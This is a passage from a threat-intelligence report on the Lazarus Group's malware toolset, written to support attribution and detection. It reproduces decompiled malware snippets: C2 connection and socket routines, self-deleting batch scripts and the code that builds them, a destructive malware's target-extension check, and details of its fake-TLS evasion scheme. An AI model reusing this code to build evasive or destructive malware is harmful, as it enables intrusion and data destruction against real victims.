It is rare that the ordinal number is used, as the ordinal number could, in theory, change from version to version of Windows and therefore requires a significant amount of code maintenance on the part of the author.
However, API names do not change between versions, so authors can simply obfuscate the name of the desired API functions up to the point of calling GetProcAddress.
The obfuscation of API names, in string form within the binary, can allow malware authors to avoid string-based signature detection which increases the chances of a malware binary evading simpler AV signature detection.
Additionally, the use of API name obfuscation requires additional work on the part of the reverse engineers analyzing the malware since the analyst must now reconstruct the original API names.
A common feature of the malware families under the Lazarus Groups umbrella is the use of dynamic API loading.
The structure of dynamic API loading in most malware is typically to decrypt the API name string then load the API via GetProcAddress.
The Lazarus Group adheres to this same model.
However, it is the use of the decryption schemes that are specific to the Lazarus Group and allow for easy identification of malware related to the group.
There are two predominate versions of dynamic API loading found in the majority of the Lazarus Groups malware: XOR 0xA7 with Space-Dot (Figure 6-8) and simply XOR 0xA7 (Figure 6-9).
59 reference to external report Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 35 Figure 6-8: Dynamic API Loading Function using Both XOR 0xA7 and Space-Dot Encoding XOR 0xA7 Decryptor GetProcAddress Figure 6-9: Dynamic API Loading Function Utilizing only a Single Encoding Scheme (XOR 0xA7) Another feature of the dynamic API loading used by the Lazarus Group is not immediately apparent at first glance: consistency.
Typically, when the Lazarus Group uses dynamic API loading within a binary, each function will load one DLL at a time.
For example, there is a function that will load the necessary API functions from kernel32.dll, there is another function for loading API functions from advapi32.dll, and so on.
These individual functions are shared across samples both within families and among other families.
The dynamic API loading functions generally are not tailored for a specific malware family.
This is seen in many examples where a dynamic API loading function will load API functions into memory that the malware does not use it, or even reference it, beyond the initial load.
This indicates that the dynamic API loading functions are part of a larger library of functions and, as such, provide a viable indicator of code specific to the Lazarus Group.
4.3.3 Network Functionality The way a developer interacts with a network touch point can provide a fingerprint of the developer.
When the developer builds a library for network interaction and uses the library in multiple malware families, analysts can easily identify related families based on the code reuse.
The developer(s) of the Lazarus Groups malware routinely use network routines and techniques across multiple families within the Lazarus Groups malware collective.
This section explores several of the more prominent techniques the developer(s) used in the Lazarus Group malware families.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 36 4.3.3.1 Fake TLS Communication Several of the families within the Lazarus Groups arsenal employ a rather unique form of communication encryption that mimics TLS communication but ultimately uses a completely different encryption method.
This type of communication has the advantage of appearing to be legitimate TLS traffic, thereby evading many network-based IDS detections and at the same time protecting against SSL man-in-the-middle decryption attacks that would reveal the contents of the encrypted communication.
The fake TLS communication begins when a sample opens a socket between the itself and its corresponding C2 server, and the client side of the channel sends a TLS ClientHello packet.
The basic format of a TLS ClientHello packet is as follows: struct ProtocolVersion client _ version Random random SessionID session _ id CipherSuite cipher _ suites2..216-2 CompressionMethod compression _ methods1..28-1 select (extensions _ present) case false: struct case true: Extension extensions0..216-1 ClientHello Figure 6-10: RFC 5246 Definition of the ClientHello Packet The ClientHello packet will vary for each communication but will contain some common characteristics.
When constructing the ClientHello packet, the Trojan probabilistically determine which sections to include and the values of those sections, with the exceptions of the client _ version field, which is static at TLS 1.0 (0x301), and the compression _ methods field, which is set to empty.
The Trojan fills the random field with a 32-byte random value generated using the rand API function.
The first four bytes of the field are replaced with the current time as supplied by the time API function.
The session _ id field will only appear if the value of fIncludeSessionIDTest2 is non-zero as defined by the following section of code: fIncludeSessionIDTest1 rand() 0x80000007 fIncludeSessionIDTest2 fIncludeSessionIDTest1 0 if ( (fIncludeSessionIDTest1 0x80000000) 0 ) fIncludeSessionIDTest2 ((( _ BYTE)fIncludeSessionIDTest1 1) 0xFFFFFFF8) -1 If the session _ id field is included in the ClientHello, the value is filled with a 32-byte randomly generated value, again using the rand API function.
The cipher _ suite value is always present and is one of four predefined values.
To determine which of the predefined suite sets to use, the fake TLS scheme will again rely on the rand API function.
Assuming the PRNG of rand is suitably random, this means that there is a 25 chance for any particular cipher suite being selected.
Table 6-1 below provides the possible cipher suites that the fake TLS scheme uses.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 37 SUITE SUITE 2 (12 Entries) (11 Entries) TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ DES _ CBC _ SHA TLS _ RSA _ EXPORT1024 _ WITH _ RC4 _ 56 _ SHA TLS _ RSA _ EXPORT1024 _ WITH _ DES _ CBC _ SHA TLS _ RSA _ EXPORT _ WITH _ RC4 _ 40 _ MD5 TLS _ RSA _ EXPORT _ WITH _ RC2 _ CBC _ 40 _ MD5 TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ DES _ CBC _ SHA TLS _ DHE _ DSS _ EXPORT1024 _ WITH _ DES _ CBC _ SHA SUITE 3 SUITE 4 (36 Entries) (36 Entries) TLS _ EMPTY _ RENEGOTIATION _ INFO _ SCSV TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ SEED _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA SSL _ RSA _ FIPS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 256 _ CBC _ SHA TLS _ RSA _ WITH _ AES _ 256 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ RC4 _ 128 _ SHA TLS _ DHE _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ RC4 _ 128 _ SHA TLS _ ECDH _ ECDSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ SEED _ CBC _ SHA TLS _ RSA _ WITH _ CAMELLIA _ 128 _ CBC _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ SHA TLS _ RSA _ WITH _ RC4 _ 128 _ MD5 TLS _ RSA _ WITH _ AES _ 128 _ CBC _ SHA TLS _ ECDHE _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ DHE _ DSS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ ECDH _ ECDSA _ WITH _ 3DES _ EDE _ CBC _ SHA SSL _ RSA _ FIPS _ WITH _ 3DES _ EDE _ CBC _ SHA TLS _ RSA _ WITH _ 3DES _ EDE _ CBC _ SHA Table 6-1: Fake TLS Schemes Predfined Cipher Suites The extensions field provides the area of the greatest variability within a ClientHello packet generated as part of the fake TLS communication scheme.
The Trojan may include zero or more of the following extensions (in order): Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 38 The extensions field provides the area of the greatest variability within a ClientHello packet generated as part of the fake TLS communication scheme.
The Trojan may include zero or more of the following extensions (in order): renegotiation _ info (80 probability) server _ name (80 probability) status _ request (80 probability) ellipic _ curves with ec _ point _ formats (80 probability) SessionTicket TLS (10 probability) next _ protocol _ negotiation (10 probability) The renegotiation _ info, SessionTicket TLS and next _ protocol _ negotiation extensions all have a 0 byte length, thereby remaining static in their values.
The server _ name extension will use either www.amazon.com or www.google.com as the name of the server to which the TLS client appears to be connecting for the majoriy of the Lazarus Groups Trojans that employ the fake TLS scheme (there is a 50 probability of either domain name being choose by the Trojan).
A smaller number of Trojans that employ the fake TLS communication scheme can have up to 34 domain names to choose from.
Table 6-2 identifies the list of hardcoded domains found in various families within the Lazarus Groups collection for use in the server _ name extension.
Note that not all family members contain all domain names.
accounts.google.com apps.skypeassets.com b.stats.ebay.com daw.apple.com extended-validation-ssl.verisign.com fls-na.amazon.com images-na.ssl-images-amazon.com login.live.com login.skype.com login.yahoo.com s.imp.microsoft.com s1-s.licdn.com sc.imp.live.com secure.logmein.com secure.shared.live.com secure.skype.com secure.skypeassets.com secureir.ebaystatic.com securemetrics.apple.com signin.ebay.com skydrive.live.com ssl.google-analytics.com ssl.gstatic.com sstats.adobe.com startpage.com support.msn.com support.oracle.com supportprofile.apple.com urs.microsoft.com verify.adobe.com www.adobetag.com www.apple.com www.amazon.com www.google.com Table 6-2: Observed server _ name Field Values The status _ request extension will, if present, always have the Certificate Status Type field set to OCSP (1).
Table 6-3 lists the possible sets that the fake TLS scheme may apply to the elliptic _ curves field.
ELLIPTICAL CURVE SET 1 (3 CURVES) ELLIPTICAL CURVE SET 2 (4 CURVES) SECT193R1 SECP256R1 SECP384R1 SECT233K1 SECP256R1 SECP384R1 SECP512R1 Table 6-3: The Fake TLS Schemes Possible elliptic _ curves Sets Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 39 If the elliptic _ curves extension is present, it is always followed by the ec _ point _ formats extension which defines a single format of uncompressed (0).
The probability of either elliptical curve set being used is defined by the same random selection algorithm used when determining if the session _ id field will occur within the ClientHello.
After the client side of the communication sends the ClientHello packet, the client expects the next data received from the server to be a ServerHello packet.
If the data that arrives from the server is not a ServerHello, the connection terminates.
The ServerHello response may or may not have a session _ id field, but the contents of this field are irrelevant to the client.
The client will process the ServerHello packet only far enough to extract the selected cipher suite and then reads and disregards any incoming packets until the server sends the ServerHelloDone packet (up to 8 server packets).
After receiving the ServerHelloDone packet, the connection between the client and the server is complete.
Further communication is encapsulated in what appears to be a legitimate TLS frame.
The header for every datagram transmitted between the client and server (and vice versa) consists of a 5-byte header that specifies the type of datagram (typically set to 22), the TLS version (set to 0x0301), and the number of bytes within the datagram.
Following the TLS frame header, the payload bytes are transmitted.
The payload contains the data encrypted using the Caracachs encryption scheme (see Section 6.1.1).
4.3.3.2 C2 Connections Several of the malware families under the Lazarus Group umbrella use a common function for connecting to a C2 server.
While most malware that uses the Winsock API will use socket and connect to open a socket between two end points, what makes the C2 server connection function identifiable is the method by which the authors generate and test the connection (Figure 6-11).
int ConnectToHost(int dwIP, u _ short wPort, signed int dwTimeout) _ _ int32 actualTimeout // edi3 SOCKET s // esi6 u _ long argp // [sp44h] [bp-120h]1 struct timeval timeout // [sp48h] [bp-11Ch]8 sockaddr _ in endpt // [sp50h] [bp-114h]6 fd _ set writefds // [sp60h] [bp-104h]8 argp 1 if ( wPort dwIP ) actualTimeout dwTimeout if ( dwTimeout 0 dwTimeout 60 ) actualTimeout 10 endpt.sin _ family 2 endpt.sin _ addr.
S _ un.
S _ addr dwIP endpt.sin _ port htons(wPort) s socket(2, 1, 0) if ( s -1 ioctlsocket(s, 0x8004667E, argp) -1 )// disable blocking connect(s, (const struct sockaddr )endpt, 16) writefds.fd _ array[0] s writefds.fd _ count 1 timeout.tv _ sec actualTimeout timeout.tv _ usec 0 if ( select(s 1, 0, writefds, 0, timeout) 0 _ WSAFDIsSet(s, writefds) ) argp 0 ioctlsocket(s, 0x8004667E, argp) // enable blocking return s closesocket(s) return -1 Figure 6-11: Common C2 Server Connection Function found in Lazarus Group Families Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 40 The authors perform the standard procedure of generating a virtual circuit between two end points by calling the socket API function to generate a socket object.
Next the authors disable socket read blocking by calling ioctlsocket with the value 0x8004667E.
The code then proceeds to call connect to establish a virtual circuit between the Trojan and the C2 server.
In order to test the validity of the channel, the code will call select followed by _ WSAFDIsSet to determine if the Trojan can send data through the socket.
If the socket is viable, read blocking is re-enabled via an ioctlsocket call, and the socket is returned to the caller of the function.
4.3.3.3 Socket Disconnect Many of the RATs employed by the Lazarus Group have a unique method for closing active network socket connections.
A typical solution to terminate a connection between two end points is to simply call the closesocket API function, which abruptly closes a socket channel.
The authors responsible for the Lazarus Groups malware take a slightly more aggressive approach, however.
The general form for disconnecting a socket employed by the Lazarus Groups malware consists of sending a WORD (2 byte) or DWORD (4 byte) value, usually equal to 0x0001 or 0x00000001, to the other receiving end of the socket followed by calling the shutdown API function which instructs the WinSock API to close both directions of communication.
The final step in terminating a socket connection is the call to closesocket.
There are slight variations on this method exist where setsockopt is called to allow for lingering sockets or where a different DWORD value is transmitted to the receiving end, but the basic pattern of send/shutdown/closesocket remains consistent.
Below are several example variations.
int _ _ cdecl SendErrorAndCloseSocket(int skt) if ( skt -1 ) return -1 int v5 1 int val 0x10001 setsockopt(skt, SOL _ SOCKET, SO _ LINGER, (const char )val, 4) send(s, (const char )v5, 2, 0) shutdown(skt, 2) closesocket(skt) return 0 int _ _ thiscall FlushAndShutdownSocket(void pfSuccess, SOCKET s) DWORD buf 0 char optval[4] strcpy(optval, \x01) setsockopt(s, 0xFFFF, SO _ LINGER, optval, 4) send(s, buf, 4, 0) shutdown(s, 2) result closesocket(s) pfSuccess 0 return result int _ _ cdecl ShutdownConnection(SOCKET s) _ _ int16 v2 1 int v4 0x26380B setsockopt(a1, 0xFFFF, 128, (const char )v2, 4) send(s, (const char )v4, 4, 0) shutdown(s, 2) return closesocket(s) Figure 6-12: Common Forms of the Lazarus Groups Connection Disconnect Functions Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 41 4.3.3.4 Common Network Data Transmission and Receiving Function The Lazarus Group uses a common structure for transmitting and receiving data over the network.
For network communication that uses encryption, the developer(s) of the Lazarus Groups malware abstracts the data shuttling functionality that takes the burden of managing the encryption component of the communication channel off of the core code.
The use of such a design pattern, a pattern that has been observed used more and more as the code within the Lazarus Groups code has matured, indicates a level of attention to modularity in design.
The design pattern used for the transmission of data to a remote end point takes the form seen in Figure 6-13.
The prototype for the transmission function is consistent across a larger number of the malware families, with the first parameter being the socket, the second and third parameters defining the location and size of the data to transmit, and the final argument being a flag to encrypt the transmission (if non-zero).
int SendData(SOCKET skt, void pvData, int dwSize, int fEncrypt) int dwXmitted int dwBytesSent 0 unsigned char p pvData if ( fEncrypt ) / Family specific encoding scheme / if ( dwSize 0 ) return 1 while ( 1 ) dwXmitted send(skt, pvData[dwBytesSent], dwSize dwBytesSent, 0) if ( dwXmitted 0 ) break dwBytesSent dwXmitted if ( dwBytesSent dwSize ) return 1 return 0 Figure 6-13: Common Form for Network Data Transmission with Encryption The exact encryption scheme used varies from family to family.
Regardless, the overall pattern remains the same with very few exceptions across the entirety of the Lazarus Groups collection.
There are two main reciprocal functions for receiving data from the network as Figure 6-14 and Figure 6-15 illustrate.
The design pattern for the receiving of potentially encrypted data consists of reading the data from the network until the specified number of bytes has been received (or a timeout occurs, in the case of RecvDataEx variants) and if the decrypt flag is set to non-zero, apply the family-specific decryption scheme to the buffer.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 42 int RecvData(SOCKET skt, void pvData, int dwLength, int fDecrypt) int dwBytesRead 0 if (skt -1 ) return 0 int dwBytesRemaining dwLength if ( dwLength 0 ) do int dwBytesRecv recv(skt, pvData[dwBytesRead], dwLength dwBytesRead, 0) if ( dwBytesRecv 0 ) return 0 dwBytesRead dwBytesRecv while ( dwBytesRead dwLength ) if ( fDecrypt dwLength 0 ) / Family specific decoding scheme / return 1 Figure 6-14: Common Form for Receiving Network Data with Encryption Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 43 int RecvDataEx (SOCKET skt, void pvData, int dwSize, int fDecode, int timeout) int dwBytesRemaining // edi1 _ BYTE p // ecx1 int dwBytesRead // esi1 int dwBytesRecv // eax3 int v8 // eax8 signed int result // eax12 int dwBytesRemaining dwSize int dwBytesRead 0 if ( dwSize 0 ) while ( WaitForRead(skt, timeout) ) int dwBytesRecv recv(skt, pvData[dwBytesRead], dwSize dwBytesRead, 0) if ( dwBytesRecv 0 ) break dwBytesRead dwBytesRecv if ( dwBytesRead dwSize ) if ( fDecode dwSize 0 ) / Family specific decoding scheme / return 1 return 0 Figure 6-15: Common Form for Receiving Network Data with Encryption and Receive Timeout The abstraction of the network data shuttling has the added benefit of allowing a malware family to use the same function call regardless of the underlying data format, encrypted or cleartext.
The use of this behavior is found in several Lazarus Group families when the initial handshake to establish an encrypted channel requires sending cleartext followed by a switch to an encrypted mode after the handshake has been established.
When such a use case occurs, the same send and receive abstract functions can be used, but their encrypted/decrypted mode flags will be the only change the programmers of the core code must concern themselves with.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 44 4.3.3.5 Suicide Scripts A suicide script is a method by which a running executable can ensure, upon termination, that its presence is removed from a host system.
As running executable are locked by Windows, it is necessary for malware binaries to deploy suicide scripts in order to remove themselves from a victims machine.
The typical suicide script consists of a Windows batch file that enters an infinite loop attempting to delete the source executable over and over until it is finally successful (after the running program terminates).
While many unrelated malware families use suicide scripts, there are times when a suicide script can give away a common author or library.
This is the case with the Lazarus Groups suicide scripts.
Novetta has observed five distinct suicide scripts that span across multiple malware families attributed to the Lazarus Group.
These observed suicide scripts largely follow the same pattern: a short label (a single letter with an option single number), a file deletion attempt, a file check, a conditional loop, and finally a file delete to remove the suicide script.
:
L1 del source binary filename if exist source binary filename goto L1 del suicide script filename echo off :R1 del /a source binary filename if exist source binary filename goto R1 del /a suicide filename :R IF NOT EXIST source binary filename GOTO E del /a source binary filename GOTO R :E del /a d.bat :Hello del /a source binary filename if exist source binary filename goto Hello del /a suicide filename echo off :D1 del /a source binary filename if exist 1 goto D1 del /a suicide filename echo off :Loop del /a H source binary filename if exists goto Loop del suicide filename :Repeat1 del source binary filename if exist source binary filename goto Repeat1 del suicide script filename Figure 6-16: Suicide Script Forms Found within Lazarus Group Families A common design pattern for generating many of the suicide scripts is to construct each line one at a time.
When decompiled in Hex-rays, a typical suicide script construction function takes the following form: Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 45 strcat(szSuicideScriptFilename, PM0D4.bat) fp fopen(szSuicideScriptFilename, wb) fprintf(fp, :Repeat1\r\n) fprintf(fp, del \s\\r\n, szSourceFileName) fprintf(fp, if exist \s\ goto Repeat1\r\n, pszSourceFileName) fprintf(fp, del \s\\r\n, szSuicideScriptFilename) fclose(fp) or strcpy(szScript, echo off\r\n) strcpy(szScript, :Loop\r\ndel /a H \) strcat(szScript, szSourceFileName) strcat(szScript, \\r\nif exist \) strcat(szScript, szSourceFileName) strcat(szScript, \ goto Loop\r\ndel \) strcat(szScript, szSuicideScriptFilename) strcat(szScript, \) WriteFile(fp, szScript, strlen(szScript), NumberOfBytesWritten, 0) CloseHandle(fp) The other design pattern for generating suicide scripts is a more streamlined approach in which the entire content of the suicide script is constructed and then written to file as follows: fp fopen(Buffer, wt) if ( fp ) fprintf(fp, :L1\r\ndel \s\\r\nif exist \s\ goto L1\r\ndel \s\\r\n, szSourceFileName, szSourceFileName, szSuicideScriptFilename) fclose(fp) Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 46 4.3.4 Directory Hierarchy Verification and Generation From time to time it is necessary to verify the existence of a particular file path and, if the path fails to exist, create the file path.
The Lazarus Group uses a specific function for this task in several of its family members.
What makes the code distinguishable is the fact that the function will take a files full path (e.g.
C:\temp\folder1\folder2\malware.exe) and traverse the entire path.
At each level of the directory hierarchy, the code will ensure that the directory exists.
At the same time, the code allows the caller of the function to specify if the highest level of the hierarchy is a directory name or a filename.
The ability to allow the caller to specify this means the function was originally designed to accommodate both file paths and directory paths.
The function that the Lazarus Group uses for ensure a directory hierarchy is as follows: void GenerateDirectoryPath(char pszPath, int fLastEntryIsDir) char p const char pn char v4 char v5 char szDirPath[260] if ( pszPath) p strchr(pszPath, \\) pn p 1 if ( p (char )-1 strchr(pn, \\) ) do memset(szDirPath, 0, 260) v4 strchr(pn, \\) strncpy(szDirPath, pszPath, v4 szDirPath) v5 strchr(pn, \\) pn v5 1 if ( v5 (char )-1 ) break if ( GetFileAttributesA(szDirPath) -1 ) CreateDirectoryA(szDirPath, 0) while ( strchr(pn, \\) ) if ( fLastEntryIsDir ) CreateDirectoryA(pszPath, 0) The traversal function begins at the first directory separator (the backslash) and verifies that the path up to that particular point exists by calling GetFileAttributesA to determine if the path if valid or not.
If the path to that point is not valid, CreateDirectoryA is called to generate the folder.
The process is repeated for each of the additional directories in the path until the final directory separator character is found.
If the fLastEntryIsDir flag is set to non-zero by the caller, then the full path is supplied to CreateDirectoryA to attempt to create the final directory.
This call will fail, however, if the directory already exists or a file with the same name exists, but the result of this behavior is ignored by the function.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 47 4.3.5 Secure File Delete The Lazarus Group goes to great lengths to destroy content, not only in their destructive malware but also in their RATs and installers as well.
Securely deleting a file (or files) from a victims machine has practical applications when viewed from the perspective of forensic recovery.
When a file is deleted using standard operating system deletion functions, the files contents remain on the hard drive but the files space is marked as available.
For a recently deleted file, a forensic analysis has a high probability of recovering the original file.
A secure deletion function, however, not only deletes the file by marking the space available, but it also overwrites the data on the disk in order to destroy the content.
Many of the families within the Lazarus Groups collection use a similar methodology for the destruction of files on a victims computer.
While there are variations on a theme when it comes to destroying files, the most common method that the Lazarus Group employs to ensure a file is securely deleted is as follows: 1.
Generate a buffer of random data 2.
Overwrite the targeted file with the random data until the entirety of the file has been replaced 3.
Rename the file with random letters (replacing each letter in the filename, without adding additional letters) 4.
Delete the file Some variations observed in Lazarus Group families include replacing the file name with TMPnumber.tmp and changing the size of the file (via _ chsize or SetEndOfFile) to 0.
4.3.6 Target File Identification BOOL IsTargetFileExtension(wchar _ t Str1) return Str1 (wcsnicmp(Str1, L.doc, 4u) wcsnicmp(Str1, L.docx, 5u) wcsnicmp(Str1, L.docm, 4u) wcsnicmp(Str1, L.wpd, 4u) wcsnicmp(Str1, L.wpx, 4u) wcsnicmp(Str1, L.wri, 4u) wcsnicmp(Str1, L.xls, 4u) wcsnicmp(Str1, L.xlsx, 5u) wcsnicmp(Str1, L.mdb, 4u) wcsnicmp(Str1, L.ppt, 4u) wcsnicmp(Str1, L.pptx, 5u) wcsnicmp(Str1, L.pdf, 4u) wcsnicmp(Str1, L.hwp, 4u) wcsnicmp(Str1, L.hwp, 4u) wcsnicmp(Str1, L.hna, 4u) wcsnicmp(Str1, L.gul, 4u) wcsnicmp(Str1, L.kwp, 4u) wcsnicmp(Str1, L.eml, 4u) wcsnicmp(Str1, L.pst, 4u) wcsnicmp(Str1, L.alz, 4u) wcsnicmp(Str1, L.gho, 4u) wcsnicmp(Str1, L.rar, 4u) wcsnicmp(Str1, L.php, 4u) wcsnicmp(Str1, L.asp, 4u) wcsnicmp(Str1, L.aspx, 5u) wcsnicmp(Str1, L.jsp, 4u) wcsnicmp(Str1, L.java, 4u) wcsnicmp(Str1, L.cpp, 5u) wcsnicmp(Str1, L.h, 5u) wcsnicmp(Str1, L.c, 5u) wcsnicmp(Str1, L.zip, 4u)) Several of the destructive malware samples identified during Operation Blockbuster use a common function to identify target files by their extension.
The function is straightforward in its operation: it takes a single wide character string (wchar _ t) and performs a series of string compares to determine if the supplied string matches any of the targeted file extensions.
While this may not seem like a particularly strong artifact to tie together multiple malware families, the function has two distinct characteristics that make it a suitable artifact for cross-family correlation, both shown in the source code in Figure 6-17.
First, the order of the extensions is constant.
Second, the function has a typo where the file extension .hwp is checked for twice in a row.
Figure 6-17: Common Target File Extension Identification Function with Duplicate Entries for .hwp Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 48 5.
Conclusion Using the hashes of the malware used in the November 2014 SPE attack, Novetta was able to identify more than 45 malware families due to shared code, encryption keys, and other features across a diverse set of tools.
This set of malware has been attributed to a threat actor we have dubbed the Lazarus Group.
The Lazarus Groups malware variants have been under active development since at least 2009 and can be tied to publicly related attacks as early as 2007.
Despite the fact that many of the malware variants are not as sophisticated as many tools attributed to other APT groups, the corpus of malware used by the Lazarus Group is extremely effective and, in multiple cases, responsible for targeted cyber espionage, data theft, and destructive attacks.
Notably, as the attack against SPE and other targets have shown, efficient, long-term, and destructive cyber attacks can be orchestrated and executed by this group.
C H A P T E R Five Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 49Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 49 5.
Conclusion (continued) In Operation Blockbuster, Novetta and industry partners have begun working together to understand and devise ways to degrade the Lazarus Groups malware toolset, eroding the groups ability to use these tools for further harm.
While no effort can completely halt malicious operations, Novetta believes that these efforts can help cause significant disruption and raise operating costs for adversaries, in addition to profiling groups that have relied on secrecy for much of their success.
It is our hope that private industry will not only continue to illuminate various threat actors toolsets and operations, but also work with other industry partners and law enforcement agencies as able to affect positive change on the safety of network environments worldwide.
5.1 Remediation Suggestions Given the nature of the Lazarus Groups tool set and its well-resourced operations, this section of the report is not intended to provide in-depth remediation suggestions for every possible scenario and environment.
Rather, we highlight general methods that can be of use to organizations who are concerned about mitigating these types of general threats.
For organizations who feel like their own internal cyber security capabilities are immature or non-existent, Mitre has released a high quality book on this topic60 for public consumption.
With the help of operation partners, Novetta has pushed AV, IDS and YARA signatures to identify associated Lazarus Group tools and traffic.
In addition to checking against these signatures, an up-to-date antivirus tool reporting to a central, monitored location is highly recommended.
Other freely available tools, such as Microsofts EMET, are also valuable defensive measures in conjunction with following suggestions for securing endpoints, servers, and network infrastructure.
On top of the provided signature-based detections, scrutinizing network traffic, and storing raw network traffic (i.e., pcap) for as long as is economically feasible can function as a tremendous aid in the investigation of alerts or identification of anomalous or malicious traffic.
When considering the SPE attack, there is clear evidence to suggest that the attackers had access to corporate networks and were exfiltrating data long before the destructive malware was downloaded and executed.
